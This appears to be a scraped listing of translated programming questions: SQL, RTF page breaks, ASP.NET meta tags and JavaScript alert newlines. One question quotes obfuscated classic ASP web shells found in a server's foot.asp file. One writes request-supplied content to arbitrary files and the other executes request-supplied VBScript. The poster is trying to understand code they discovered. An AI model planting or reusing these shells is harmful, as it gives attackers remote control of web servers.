如何在多列上找到最大值.这就是我到目前为止所拥有的.
With Temp AS (
SELECT P.ID AS 'Product_ID',
P.ProductCode AS 'Product_Code',
P.Name AS 'Product_Name',
P.SellPrice AS 'SellPrice',
P.SellPrice+(P.SellPrice*TVA/100) AS 'PricePerUnit',
P.TVA AS 'TVA',
P.Discount AS 'Discount_Product',
0 AS 'Discount_Code',
0 AS 'Discount_Newsletter',
V.ID AS 'Variant_ID',
V.Nume AS 'Variant_Name',
V.Stock-V.Reserved AS 'Quantity_MAX',
T.Quantity AS 'Quantity',
I.ImageName AS 'Image',
0 AS 'Is_Kit'
FROM TemporaryShoppingCart T
INNER JOIN ProductVariant V ON V.ID=T.Variant_ID
INNER JOIN Product P ON P.ID=V.ProductID
LEFT JOIN ProductImage I ON I.ProductID=P.ID AND DefaultImage=1
WHERE T.ID=@ID AND T.Variant_ID!=0
) SELECT …Run Code Online (Sandbox Code Playgroud) RTF 中分隔页面的代码是什么?
我在用:
\page\par
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它有效,但此代码在每个新页面的顶部放置了一条断线。因此,除了第一页之外,我的所有页面都以换行符开头。怎样才能抹掉这条断线呢?
' \par' 代表一个段落,正如我在 HTML 中看到的那样,该段落是通过空格由其余内容分隔的。
如何<meta name="description">使用控制器操作向 html head 中的元描述标记添加值?
public ActionResult Details(int id = 0, string name = "")
{
Category category = db.Categories.Find(id);
string seodescription = string.Empty;
switch (id)
{
case 1: { seodescription = "1"; break; }
case 2: { seodescription = "2"; break; }
case 3: { seodescription = "3"; break; }
case 4: { seodescription = "4"; break; }
case 5: { seodescription = "5"; break; }
case 8: { seodescription = "6"; break; }
default: {seodescription = …Run Code Online (Sandbox Code Playgroud) 我想在javascript中的警报消息中添加换行符.
var al = $("#txt_noIncorrect").val().toString();
console.log(al); // al='Incorrect amount!\nFor decimals, use point instead of virgule.';
alert(al);
alert('Incorrect amount!\nFor decimals, use point instead of virgule.')
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第一次提醒:

第二次提醒:

为什么第一次警报不会换行?
我在服务器中找到了一个名为foot.asp的文件,其中包含此代码.
这段代码做了什么:
<span> </span>
<%set s=server.createObject("A"&"do"&"db.St"&"re"&"am")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="utf-8"%>
<%s.writetext request("hkfox360")%>
<%s.SaveToFile request("tofile"),2%>
<%s.Close%>
<%set s=nothing%>
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另一个代码:
<a> </a>
<%
Set o = Server.CreateObject("Sc"&"ri"&"ptC"&"ont"&"rol")
o.language = "vb"&"scr"&"i"&"pt"
o.addcode(Request("Sj"&"C"&"od"&"e"))
o.run "e",Server,Response,Request,Application,Session,Error
%>
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asp-classic ×1
asp.net-mvc ×1
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javascript ×1
jquery ×1
max ×1
meta-tags ×1
newline ×1
page-break ×1
paragraphs ×1
rtf ×1
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